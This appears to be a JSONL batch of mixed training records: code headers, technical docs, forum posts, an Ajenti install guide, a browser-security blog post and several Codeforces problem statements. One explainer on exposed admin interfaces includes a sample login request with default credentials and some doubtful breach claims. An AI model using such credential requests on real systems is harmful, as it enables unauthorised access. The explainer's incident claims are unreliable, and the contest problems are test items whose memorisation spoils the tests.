programmable logic, enabling improved system performance over just the ARM™ core based processing system.\nFor more information, visit http://www.xilinx.com", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mobile Software Engineer (Internship)\nHello Fellow Mobile Software Engineer!\nHere at Peek, we strive to create iOS and Android apps that simplify the way people coordinate events with friends. This means we believe in a mobile-first approach. Here's where you come in.\nWhat you'll do:\n- Build creative, beautiful products\n- Do code reviews to assess code quality\n- Collaborate and work well with others\nWho we're looking for:\n- Passionate, self-driven individuals who are excited to show off their projects\n- Are currently pursuing a degree in computer science or a related technical field\n- Swift experts and/or Java and Android experts\n- Enjoy and work well with others\n* Email your resume to firstname.lastname@example.org and we'll get back to you within 24 hours.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Apache Hedwig has extensive support for JMX, which allows viewing and managing a hedwig cluster.\nThis document assumes that you have basic knowledge of JMX. See Sun JMX Technology page to get started with JMX.\nSee the JMX Management Guide for details on setting up local and remote management of VM instances. By default the included hedwig script supports only local management - review the linked document to enable support for remote management (beyond the scope of this document).\nHub Server is a JMX manageable server, which registers the proper MBeans during initialization to support JMX monitoring and management of the instance.\nThis table details JMX for a hub server.\n|_.MBean||_.MBean Object Name||_.Description|\n|PubSubServer||PubSubServer||Represents a hub server. It is the root MBean for hub server, which includes statistics for a hub server. E.g. number packets sent/received/redirected, and statistics for pub/sub/unsub/consume operations.|\n|NettyHandlers||NettyHandler||Provide statistics for netty handlers. Currently it just returns number of subscription channels established to a hub server.|\n|ReadAheadCache||ReadAheadCache||Provide read ahead cache statistics.|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm new to both and I figured I'd try this out. Why is this returning 0?\n$_10kpt = (($_10kp * ($_10k *($gspot / 20)))); echo $_10kpt;\n_10kpt is undefined, first instance. $_10kp is a decimal(7,3), $gspot is an integer and 20 is obviously an integer. How would I go about returning some sort of value on this?\n$_10kp = .417 $_10k = 1.0 $gspot = 1600\nSo it should return 33.36 right?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Im a serial Entrepreneur, with 3 successful exits (and 8 failed exits . You always learn more with the failed ones ) I serve in the board of 3 different startups with valuation $10+ Million each. I have helped raise more than $12+ Million aggregate for the startup companies I have been involved with.\nI have a strong technical software development background and have worked at high end consulting for startups, mid level companies and fortune 1000 companies.\nMasters certificate - Stanford University\nProject Management - New York University.\nMBA and Technology management and Entrepreneurship\nBS in Computer Science Engineering\nI have been a part of the sharing economy since the founding years of CouchSurfing.com. I used to be the PR ambassador for CS and the New York City Ambassador.\nI wrote the following to one of the Simbians here who had requested: Expose me to something weird and new:\n\"My life is made of weird information.\nI was born in the UK and raised in 6 countries. I have 3 different careers spanning 4 industries. Worked with 3 of the top 5 (read EVIL) investment banks in the world,\nHelped a jungle boy in Bali build 2 businesses ,\nIn the last 3 years , I have lived in 12 countries and travelled to 38. Total countries travelled to is 49.\nBut, I can tell you something really weird about how I was born in UK and not a British Citizen. Teaser trailer... I did NOT have ANY citizenship till I turned 9 years old.\nHit me up and Im glad to chat with you in helping you out, to just to hangout and share ideas.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 357, "token_count_with_eod": 358, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have an array of integers (initially empty).\n\nYou have to perform $$$q$$$ queries. Each query is of one of two types:\n\n- \"$$$1$$$ $$$x$$$\" — add the element $$$x$$$ to the end of the array;\n- \"$$$2$$$ $$$x$$$ $$$y$$$\" — replace all occurrences of $$$x$$$ in the array with $$$y$$$.\n\nFind the resulting array after performing all the queries.", "source": "cpt_codeforces", "language": "en", "token_count": 96, "token_count_with_eod": 97, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a weighted directed graph, consisting of n vertices and m edges. You should answer q queries of two types:\n\n- 1 v — find the length of shortest path from vertex 1 to vertex v.\n- 2 c l1 l2 ... lc — add 1 to weights of edges with indices l1, l2, ..., lc.", "source": "cpt_codeforces", "language": "en", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a list of $$$n$$$ integers. You can perform the following operation: you choose an element $$$x$$$ from the list, erase $$$x$$$ from the list, and subtract the value of $$$x$$$ from all the remaining elements. Thus, in one operation, the length of the list is decreased by exactly $$$1$$$.\n\nGiven an integer $$$k$$$ ($$$k>0$$$), find if there is some sequence of $$$n-1$$$ operations such that, after applying the operations, the only remaining element of the list is equal to $$$k$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 119, "token_count_with_eod": 120, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Supports: SmartPanel 3.1 & 3.2 , FoxPanel & GrandPanel.\nDoes not work with SmartPanel 3.4\nThe file will be available for download after the purchase is complete.\nCashmaal Payment Gateway module contains one payment module for the SmartPanel – SMM panel script app.\n- Easy to install and use\n- PHP 5.6 ~ 7.2\n- More details: Please check this page\nversion 1.0 – Aug 9, 2020 – Initial Release", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Originally posted by Moff Jerjerrod\nI've been waiting for a decent WW2 scenario for the CtP series as well. Something like Curt Siblings Dictator for ToT would be nice.\nWhere would one go for tips on creating your own scenarios for CtP1 or 2?\nHmmm, CtP1... I don't think so. The whole scenario concept never really kicked off for CtP1, people focussed too much on mods. Gemini was working on a WWII scenario for a long time and got pretty far with it, but he never released anything, and last time I heard from him was well over a year ago... So it looks like you'll have to make one yourself", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Even polar bears feel cold when lying on the ice. Therefore, a polar bear Alice is going to make a carpet. The carpet can be viewed as a grid with height h and width w. Then the grid is divided into h × w squares. Alice is going to assign one of k different colors to each square. The colors are numbered from 1 to k. She may choose not to use all of the colors.\n\nHowever, there are some restrictions. For every two adjacent squares (squares that shares an edge) x and y, there is a color constraint in one of the forms:\n\n- color(x) = color(y), or\n- color(x) ≠ color(y).\n\nExample of the color constraints:\n\nIdeally, Alice wants to satisfy all color constraints. But again, life in the Arctic is hard. It is not always possible to satisfy all color constraints. Fortunately, she will still be happy if at least $$\\frac{3}{4}$$ of the color constraints are satisfied.\n\nIf she has 4 colors she can color the carpet in the following way:\n\nAnd she is happy because $${ \\frac { 1 3 } { 1 7 } }$$ of the color constraints are satisfied, and $$\\frac{13}{17} \\geq \\frac{3}{4}$$. Your task is to help her color the carpet.", "source": "cpt_codeforces", "language": "en", "token_count": 295, "token_count_with_eod": 296, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Merged requested to merge 1468-image-size-tests into master\nUnfortunately, we can't use Roboelectric for the tests, because they use a shadow BitmapFactory that behaves differently from the one on a real device. Therefore, the tests are in\nandroidTest and need to run on actual devices.\nOne more piece of #1468 (closed)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 76, "token_count_with_eod": 77, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Information Gathering / Admin Interface Identified\nAdmin interface identified is a vulnerability related to information gathering. It is categorized under CWE-200 and is classified as an ‘Incomplete Information’ type vulnerability. This vulnerability arises when an attacker is able to identify and access the administrative interface of a web application or API without the user’s authorization. This can be done through various ways such as brute force attacks, directory traversal or using default credentials. As per OWASP testing guide (https://owasp.org/www-project-web-security-testing-guide/), the admin interface should be properly secured and access should be limited to the appropriate personnel.\nThe main risk associated with this vulnerability is that the attacker is able to gain unauthorized access to the administrative interface. This can pose a serious threat to the data stored in the application and also to the system itself. If the attacker is able to gain access to the administrative interface and modify the application’s code, they can gain control over the system. Unauthorized access to the administrative interface can also lead to information leakage, data tampering and other malicious activities.\nThe best way to mitigate the risk associated with this vulnerability is to implement proper authentication and authorization measures. Access to the administrative interface should be limited to only authorized personnel and should be properly secured with a strong password. Additionally, the administrative interface should be regularly monitored for any suspicious activity and any unauthorized access should be immediately blocked.\nThe following example is taken from CVE-2017-10241 which illustrates the use of default credentials for accessing the administrative interface.\nPOST /admin/login.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0 Content-Type: application/x-www-form-urlencoded Content-Length: 36 username=admin&password=default\n- The MongoDB ransomware attack which affected more than 26000 MongoDB databases in 2017 was due to the lack of authentication and authorization on the administrative interface.\n- In 2017, the US Department of Defense was breached due to the use of default credentials on the administrative interface.\n- In 2018, the City of Atlanta was breached due to the lack of authentication and authorization on the administrative interface.\n- In 2017, a vulnerability in the Adobe ColdFusion application's administrative interface allowed attackers to gain access to the application.\n- In 2017, a vulnerability in the Oracle WebLogic application's administrative interface allowed attackers to gain access to the application.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 547, "token_count_with_eod": 548, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Few steps are required to install Ajenti on Debian 10 / Debian 9 since all packages are available on the APT repository. We’ll update the system and add the required repository.\nStep 1: Update your system\nEnsure your system and packages are updated.\nsudo apt update sudo apt -y upgrade\nIt is recommended to reboot your server after an upgrade.\nStep 2: Install python-imaging (Debian 10 only)\nAjenti depends on python-imaging but it is not available on APT repository.\nDownload .deb package:\n$ sudo pkg -i python-imaging_4.0.0-4_all.deb sudo: pkg: command not found [email protected]:~$ sudo dpkg -i python-imaging_4.0.0-4_all.deb Selecting previously unselected package python-imaging. (Reading database ... 28519 files and directories currently installed.) Preparing to unpack python-imaging_4.0.0-4_all.deb ... Unpacking python-imaging (4.0.0-4) ... Setting up python-imaging (4.0.0-4) ...\nStep 3: Install Ajenti Control Panel on Debian 10 / Debian 9\nYou can choose to install Ajenti V2 or Ajenti 1.x. In this guide, we’ll do installation of Ajenti v2 on Debian 10 (Buster).\nsudo apt -y install gnupg2 wget http://repo.ajenti.org/debian/key -O- | sudo apt-key add - echo \"deb http://repo.ajenti.org/debian main main debian\" | sudo tee /etc/apt/sources.list.d/ajenti.list\nStep 4: Install Ajenti Control Panel on Debian 10 (Buster)\nOnce you have added a repository, install Ajenti control panel using following command:\nsudo apt update sudo apt -y install ajenti\nNow start and enable Ajenti service:\nsudo systemctl status ajenti sudo systemctl enable ajenti\nAjenti will listen on HTTPS port\n8000 by default\nLogin to Ajenti 1.x using:\nDefault username : root Default password : admin\nEnjoy running Ajenti on Debian 10 Linux system.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 473, "token_count_with_eod": 474, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Swabs: Swab samples are stored as swabs with DNA extraction taking place when the sample is approved for use in a specific research project. The swabs are stored indefinitely at the Veterinary Genetics Lab (VGL) at UC Davis. UC Davis has demonstrated solid success in long term storage and subsequent processing of swabs.\nBlood: Blood samples are processed upon receipt. The extracted DNA is then frozen and also stored indefinitely. The Small Animal Molecular Genetics Lab at the University of Missouri-Columbia is the laboratory partner for blood based samples.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 108, "token_count_with_eod": 109, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It was another grim day for internet security at the annual Pwn2Own hacker contest Wednesday, with Microsoft's Internet Explorer, Mozilla's Firefox and Apple's Safari and iPhone succumbing to exploits that allowed them to be remotely commandeered.Those are the big targets, and they're all full of holes - including Firefox, which I've been telling people to use the whole time I've been blogging.\nTime for something different. Let's look at browsers and Operating Systems based on what I think are the key criteria. Of course, your mileage may vary, void where prohibited, do not remove tag under penalty of law.\nCriteria #1: A Security Focus by the development team. If the software developers don't particularly care about security, and aren't bothered by security problems, then you're starting from FAIL. Some teams care a lot, and these are the products you want to seek out.\nCriteria #2: A Rapid Update Model. Everything has bugs, and some of the bugs are security bugs. The faster the development team can get you a fix, the better off you are.\nCriteria #3: Make yourself as small a target as possible. In the real world, we use our heads: avoid bad neighborhoods, don't fumble for your keys in a dark parking garage, etc. It's the same on the Internet. While using a much less popular software package is absolutely no guarantee of safety, it does avoid known bad neighborhoods, so to speak. If we assume that the Bad Guys are rationally motivated to make money, then they are more likely to spend their time cracking popular applications, rather than obscure ones.\nI should say right now that Criteria #3 is controversial in the security geek community, but I recommend it anyway. The most that you can say against it is that it might not help. We know what's going on with the more popular apps.\nSo, how do the browsers stack up? If we give one point for each criteria, the browsers rank like this:\nOpera: 3 points. The trifecta. I've always recommended this for online banking, although now I have to recognize using an Ubuntu LiveCD for online banking. But for regular browsing, this is your best bet. It wasn't in the pwn2own contest, because Criteria #3 made it more or less a waste of time for the attackers. You can use that to your advantage.\nFirefox: 2 points. The development team has a long track record of taking security seriously, and they have a great update model. They're also a bug, big target, as the pwn2own contest shows. Consider moving to Opera if you use Firefox and you're on Mac or Linux; absolutely move to Opera if you use Firefox on Windows. (Boy, it hurt to say that)\nInternet Explorer 8: 1 point. The IE development team has really got the security religion, and it shows. IE used to be a joke in the security community, but this version is establishing some real credibility. Unfortunately, updates come on Patch Tuesday, which means you have to wait a month for security updates. FAIL. Fail fail fail fail. Plus, it's a huge target, just like Firefox. It may be that all the security effort is too little, too late.\nInternet Explorer 6 and 7: 0 Points. Not many people are still on IE6, which is very good. A lot are still on IE 7, and their companies won't let them move off it. So be it - their companies will have to deal with the malware. For home use, get off it if you're still on it - security has always been a joke for these.\nSafari. 0 Points. From a security perspective, this is a sucking chest wound of FAIL. Apple simply doesn't take security seriously, the update is \"whatever, whenever\", and the pwn2own contest shows that it's \"interesting\". With 10-15% market share, that's for dang sure. No link to the download site, because you want to get off this turkey. iPhone users will need to be patient, but Opera has submitted an iPhone version to Apple for addition to the iPhone store. I'll let you know how that goes. Intentionally placed lower on the list than IE 6 and 7, because Apple should know better.\nOK, how about Operating Systems? It's much harder to switch here than with browsers, but in the interest of completeness, here's the list:\nUbuntu Linux: 3 points. There are many flavors of Linux, but Ubuntu is the one that most people would consider for the desktop. You give up iTunes and PC games, however. Linux is a big target for Bad Guys, but on the servers. While it's possible that the Bad Guys could target the desktop in a big way, with 2% market share this seems very unlikely.\nMacintosh OS/X: 1 and a half Points. Built from BSD Unix, it has a solid and proven security model. Updates are not great, so only half a point, and it's gaining market share, so no points there - it's a plausible target now, meaning it's likely a Bad Guy can make a living writing malware for it. But it's better than Windows.\nWindows: I wish I could say something better here, because Vista and Windows 7 have added some much needed security features. But we all know what the story is here.\nLet me close once more with a disclaimer: this analysis framework is by no means universally accepted in the security community. I believe that it's practical and understandable - after all, you need to know what to do and why, so there's considerable virtue in that.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1176, "token_count_with_eod": 1177, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Deep wrote: > Still working on the Pasteboard and have tried to make a function > where a > CoreGrpahics PDFContext is built and then the imagery is placed on the > pasteboard ready to move to another application. > > The conceptual part of the syntax has come from > QuickDrawToQuartz2D.pdf > taking advantage of not using the callback to make it easier as > callback is > not needed (see \"promised data\"). Unfortunately, it crashes where > marked. It > could be the \"#define\" stuff perhaps? It crashes in CGContextStrokePath(). To avoid the crash you need to bracket your CG drawing between CGContextBeginPage() and CGContextEndPage(). A minor point is that PasteboardItemID is not a CF type and would be better declared #define PasteboardItemID as ptr Robert P.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  RWTransferListViewModel.h\n//  RWFileTransferDemo\n//\n//  Created by RyanWong on 2018/3/17.\n//  Copyright © 2018年 RyanWong. All rights reserved.\n//\n\n#import \"RWBaseViewModel.h\"\n\ntypedef void(^fromReceiveBeginBlock)(NSDictionary *dict);\ntypedef void(^fromReceiveProgressBlock)(NSDictionary *dict);\ntypedef void(^fromReceiveFinishBlock)(NSDictionary *dict);\ntypedef void(^fromReceiveErrorBlock)(NSDictionary *dict);\ntypedef void(^fromReceiveCancelBlock)(NSDictionary *dict);\n\n@interface RWTransferListViewModel : RWBaseViewModel\n\n- (void)setTarget:(id)target;\n\n- (NSInteger)getTaskIndexWithStreamName:(NSString *)streamName;\n\n#pragma mark - Sender\n\n- (void)sendPeerTaskInfo;\n\n- (void)nextReadyTask;\n\n#pragma mark - From Receiver\n\n- (void)sendTaskBegin:(fromReceiveBeginBlock)beginBlock;\n\n- (void)sendTaskProgress:(fromReceiveProgressBlock)progressBlock;\n\n- (void)sendTaskFinish:(fromReceiveFinishBlock)finishBlock;\n\n- (void)sendTaskError:(fromReceiveErrorBlock)errorBlock;\n\n#pragma mark - Receiver\n\n- (void)handleReceiveData:(NSData *)data;\n\n- (void)createReceiveStreamWithStream:(NSInputStream *)stream streamName:(NSString *)streamName;\n\n#pragma mark - Tell Sender Task Status\n\n- (void)receiveTaskProgressWithStreamName:(NSString *)streamName progress:(long long)progress;\n\n- (void)receiveTaskFinishWithStreamName:(NSString *)streamName;\n\n- (void)receiveTaskErrorWithStreamName:(NSString *)streamName;\n\n#pragma mark - Common\n\n- (void)cancelTaskWithStreamName:(NSString *)streamName;\n\n- (void)sendTaskCancel:(fromReceiveCancelBlock)cancelBlock;\n\n#pragma mark - Handler Receive File\n\n- (void)handleTmpFile:(NSString *)filePath name:(NSString *)name completion:(void(^)(NSString *targetName))completion;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 448, "token_count_with_eod": 449, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are developing a rating system for an online game. Every time a player participates in a match, the player's rating changes depending on the results.\n\nInitially, the player's rating is $$$0$$$. There are $$$n$$$ matches; after the $$$i$$$-th match, the rating change is equal to $$$a_i$$$ (the rating increases by $$$a_i$$$ if $$$a_i$$$ is positive, or decreases by $$$|a_i|$$$ if it's negative. There are no zeros in the sequence $$$a$$$).\n\nThe system has an additional rule: for a fixed integer $$$k$$$, if a player's rating has reached the value $$$k$$$, it will never fall below it. Formally, if a player's rating at least $$$k$$$, and a rating change would make it less than $$$k$$$, then the rating will decrease to exactly $$$k$$$.\n\nYour task is to determine the value $$$k$$$ in such a way that the player's rating after all $$$n$$$ matches is the maximum possible (among all integer values of $$$k$$$). If there are multiple possible answers, you can print any of them.", "source": "cpt_codeforces", "language": "en", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "On Thu, 13 Oct 2016, Mark Fletcher wrote:\n> but I don't completely understand what you mean. Are you saying that,\n> even though the command to start fetchmail is not an invokation of a\n> systemd unit, the fact that it is happening from inside a script that is\n> run by a systemd unit somehow allows systemd to capture the PID for\n> fetchmail, and that that in turn is having a bearing on my being able to\ntry \"ps xawf -eo pid,user,cgroup:64,args\" to see how things are grouped\ninto \"cgroups\" by systemd (or by the kernel autogroup facility, or by\ncgmanager on systemd-less systems, etc).\nDepending on how the systemd unit is configured, systemd will kill\neverything belonging to that unit's cgroup when you tell it to stop the\nYou can have an unit start processes in a separate cgroup (so they don't\nget killed along with the unit), refer to the systemd-run command.\nThere are other ways to deal with this as well, and they might be more\nidiomatic. I was waiting for someone that groks systemd better to\nreply, but since nobody did, here is an workable answer to get you", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * The ARTist Project (https://artist.cispa.saarland)\n *\n * Copyright (C) 2017 CISPA (https://cispa.saarland), Saarland University\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @author \"Sebastian Weisgerber <weisgerber@cispa.saarland>\"\n *\n */\n\n#ifndef ART_API_INJECTION_TARGET_H_\n#define ART_API_INJECTION_TARGET_H_\n\n#include <string>\n\nusing std::string;\n\nnamespace art {\n\nenum InjectionTarget { NO_INJECTION = -1\n                     , METHOD_START = 0\n                     , METHOD_END\n                     , METHOD_CALL_BEFORE\n                     , METHOD_CALL_AFTER };\n\n/** Defines where the MethodCall should get injected. Currently available targets are listed in ```InjectionTarget```.\n *\n * Proper Modular Implementation could/should use subclassing\n * of @see Target.\n *\n */\nclass Target {\n public:\n  Target(const string& targetSignature, InjectionTarget targetType);\n\n  const string GetTargetSignature() const;\n  InjectionTarget GetTargetType() const;\n\n public:\n  static const char GENERIC_TARGET[];\n\n private:\n  string target_signature;\n  InjectionTarget target_type;\n};\n\n}  // namespace art\n\n#endif  // ART_API_INJECTION_TARGET_H_", "source": "cpt_stack_code", "language": "code", "token_count": 404, "token_count_with_eod": 405, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "//\n//  NavigationStyleViewController.h\n//  YanAPP\n//\n//  Created by Apple on 2018/5/17.\n//  Copyright © 2018年 Yanzheng. All rights reserved.\n//\n\n#import \"BaseViewController.h\"\n\n@interface NavigationStyleViewController : BaseViewController\n\n@end", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There used to be over 500 fresco's near the top of the Fortress but due to weather and graffiti there are only 21 left now. The colours looked very vivid and reminded me of the paintings in the Egyptian tombs.\nIn Kandy there was a cultural show. Below is the mask dance and the snake dance. Some dances are still used today as a treatment in Psychiatry.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this building better relationships edition of the Exploring Information Security podcast, I discuss my new presentation and workshop content for this year, Social Engineering for the Blue Team.\nI've already written a couple blog posts on the topic:\nI've also created a GitHub page to track all my resources I intend to use in the presentation and training. The idea of the content is that we can use social engineering (like the red team) in our day-to-day interactions at work. We can use the same techniques to build better relationships and build better security mindsets in our organization. If you prefer soft skills.\nIn this episode I discuss:\n- What is social engineering for the blue team\n- How I came up with the idea\n- How can this be applied\n- What techniques we can use to build better relationships", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Toad Ilya has a rooted binary tree with vertex $$$1$$$ being the root. A tree is a connected graph without cycles. A tree is rooted if one vertex is selected and called the root. A vertex $$$u$$$ is a child of a vertex $$$v$$$ if $$$u$$$ and $$$v$$$ are connected by an edge and $$$v$$$ is closer to the root than $$$u$$$. A leaf is a non-root vertex that has no children.\n\nIn the tree Ilya has each vertex has at most two children, and each edge has some character written on it. The character can be a lowercase English letter or the question mark '?'.\n\nIlya will $$$q$$$ times update the tree a bit. Each update will replace exactly one character on some edge. After each update Ilya needs to find if the tree is anagrammable and if yes, find its anagramnity for each letter. Well, that's difficult to explain, but we'll try.\n\nTo start with, a string $$$a$$$ is an anagram of a string $$$b$$$ if it is possible to rearrange letters in $$$a$$$ (without changing the letters itself) so that it becomes $$$b$$$. For example, the string \"fortyfive\" is an anagram of the string \"overfifty\", but the string \"aabb\" is not an anagram of the string \"bbba\".\n\nConsider a path from the root of the tree to a leaf. The characters on the edges on this path form a string, we say that this string is associated with this leaf. The tree is anagrammable if and only if it is possible to replace each question mark with a lowercase English letter so that for all pair of leaves the associated strings for these leaves are anagrams of each other.\n\nIf the tree is anagrammable, then its anagramnity for the letter $$$c$$$ is the maximum possible number of letters $$$c$$$ in a string associated with some leaf in a valid replacement of all question marks.\n\nPlease after each update find if the tree is anagrammable and if yes, find the $$$\\sum{f(c) \\cdot ind(c)}$$$ for all letters $$$c$$$, where $$$f(c)$$$ is the anagramnity for the letter $$$c$$$, and $$$ind(x)$$$ is the index of this letter in the alphabet ($$$ind($$$\"a\"$$$) = 1$$$, $$$ind($$$\"b\"$$$) = 2$$$, ..., $$$ind($$$\"z\"$$$) = 26$$$).", "source": "cpt_codeforces", "language": "en", "token_count": 537, "token_count_with_eod": 538, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is an unusual problem in an unusual contest, here is the announcement: http://codeforces.com/blog/entry/73543\n\nYou have the safe lock which consists of 5 decimal digits. If you rotate some digit, it increases by one, except 9 which becomes 0.\n\nInitially, the lock contains number $$$x$$$. To unlock the safe you must do the following operations in order (and be careful, don't mix up if and else statements).\n\nIf sum of digits on positions 1 and 4 is greater than 10, rotate digit on position 1 by 3 times, else rotate digit on position 4 by 8 times.\n\nIf sum of digits on positions 3 and 2 is greater than 8, rotate digit on position 4 by 9 times, else rotate digit on position 5 by 8 times.\n\nIf digit on position 3 is odd, rotate digit on position 3 by 3 times, else rotate digit on position 3 by 4 times.\n\nIf digit on position 5 is greater than digit on position 2, rotate digit on position 4 by 1 times, else rotate digit on position 2 by 7 times.\n\nIf digit on position 1 is odd, rotate digit on position 1 by 3 times, else rotate digit on position 3 by 5 times.\n\nIf digit on position 4 is odd, rotate digit on position 4 by 7 times, else rotate digit on position 1 by 9 times.\n\nIf digit on position 4 is greater than digit on position 1, rotate digit on position 4 by 9 times, else rotate digit on position 4 by 2 times.\n\nIf digit on position 1 is greater than digit on position 3, rotate digit on position 2 by 1 times, else rotate digit on position 3 by 1 times.\n\nIf digit on position 5 is greater than digit on position 3, rotate digit on position 4 by 5 times, else rotate digit on position 5 by 8 times.\n\nIf sum of digits on positions 1 and 3 is greater than 8, rotate digit on position 4 by 5 times, else rotate digit on position 2 by 5 times.\n\nIf digit on position 1 is greater than digit on position 4, rotate digit on position 4 by 3 times, else rotate digit on position 2 by 3 times.\n\nIf sum of digits on positions 3 and 1 is greater than 9, rotate digit on position 2 by 9 times, else rotate digit on position 2 by 2 times.\n\nIf sum of digits on positions 4 and 3 is greater than 10, rotate digit on position 4 by 7 times, else rotate digit on position 5 by 7 times.\n\nIf digit on position 3 is greater than digit on position 2, rotate digit on position 3 by 2 times, else rotate digit on position 4 by 6 times.\n\nIf digit on position 1 is greater than digit on position 3, rotate digit on position 1 by 9 times, else rotate digit on position 2 by 9 times.\n\nIf digit on position 3 is odd, rotate digit on position 3 by 9 times, else rotate digit on position 1 by 5 times.\n\nIf sum of digits on positions 3 and 5 is greater than 9, rotate digit on position 3 by 4 times, else rotate digit on position 3 by 9 times.\n\nIf digit on position 3 is greater than digit on position 1, rotate digit on position 5 by 1 times, else rotate digit on position 5 by 7 times.\n\nIf digit on position 1 is greater than digit on position 3, rotate digit on position 2 by 9 times, else rotate digit on position 4 by 6 times.\n\nIf sum of digits on positions 2 and 3 is greater than 10, rotate digit on position 2 by 2 times, else rotate digit on position 3 by 6 times.", "source": "cpt_codeforces", "language": "en", "token_count": 872, "token_count_with_eod": 873, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Table of Contents\nAfter you fix some failed test, you need to check it. The Welkin Suite offers you handy options to rerun tests.\nRerun test from the Test Result panel\nFirst off, you can use the buttons on the top of the Test Result panel:\n- Run tests — it opens the Test Runner window and helps you to run concrete test classes or methods,\n- Rerun — it allows you to rerun the test jobs, classes or methods that you select in the Test Result panel,\n- Rerun failed — it allows you to rerun only the failed test jobs, classes or methods. It is active only if the selected job or class includes a failed method.\nRerun tests from the context menu\nAlso, you can use the context menu of any item in the list of tests:\n- you can rerun a test method, class or job by selecting Rerun or Rerun all,\n- you can rerun only failed test classes or test methods by selecting Rerun only failed.\nRerun latest test\nOne more useful option is a rerun option for your last test-run job. It is available via the Main Menu:\nTest ⇒ Rerun last test or by pressing the Ctrl+R, Ctrl+L hotkey.\nNB: When you are working with several projects in one solution, the rerun option will run the last test-run job from your test result, even if another project is active now. In addition, this option works with the tests that were run not as Deployment validation. This means that when you have a usual test-run, and then you run tests as deployment validation, the test job which was run before the Deployment validation test-run will be rerun.\nRerun from the Editor\nYou can execute unit tests from the test result icon to the right of your code. The right-click on the icon which has a 'passed' or 'failed' status allows you to run a separate method or a whole class.\nIn this section:\nThis also may be useful:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "////////////////////////////////////////////////////////////////////////////////\n//         Distributed under the Boost Software License, Version 1.0.         //\n//            (See accompanying file LICENSE or copy at                       //\n//                 https://www.boost.org/LICENSE_1_0.txt)                     //\n////////////////////////////////////////////////////////////////////////////////\n\n#pragma once\n\n#include <cstdint>\n#include <tuple>\n#include <vector>\n\n#include \"core/data_buffer.h\"\n#include \"networking/packet.h\"\n\nstatic const iris::DataBuffer test_data{\n    static_cast<std::byte>(0xaa),\n    static_cast<std::byte>(0xbb),\n    static_cast<std::byte>(0xcc),\n};\n\n/**\n * Helper method to create a collection of packets with supplied sequence\n * numbers and types.\n *\n * @param packet_sequence\n *   Collection of sequence numbers and types.\n *\n * @returns\n *   Packets created using supplied data.\n */\ninline std::vector<iris::Packet>\ncreate_packets(const std::vector<std::tuple<std::uint16_t, iris::PacketType>>\n                   &packet_sequence)\n{\n    std::vector<iris::Packet> packets;\n\n    for (const auto &[sequence, type] : packet_sequence)\n    {\n        // acks don't have data\n        const auto data =\n            type == iris::PacketType::ACK ? iris::DataBuffer{} : test_data;\n\n        iris::Packet packet{type, iris::ChannelType::RELIABLE_ORDERED, data};\n        packet.set_sequence(sequence);\n        packets.emplace_back(packet);\n    }\n\n    return packets;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 339, "token_count_with_eod": 340, "validation_channel": "code", "validation_source": "cpt_stack_code"}
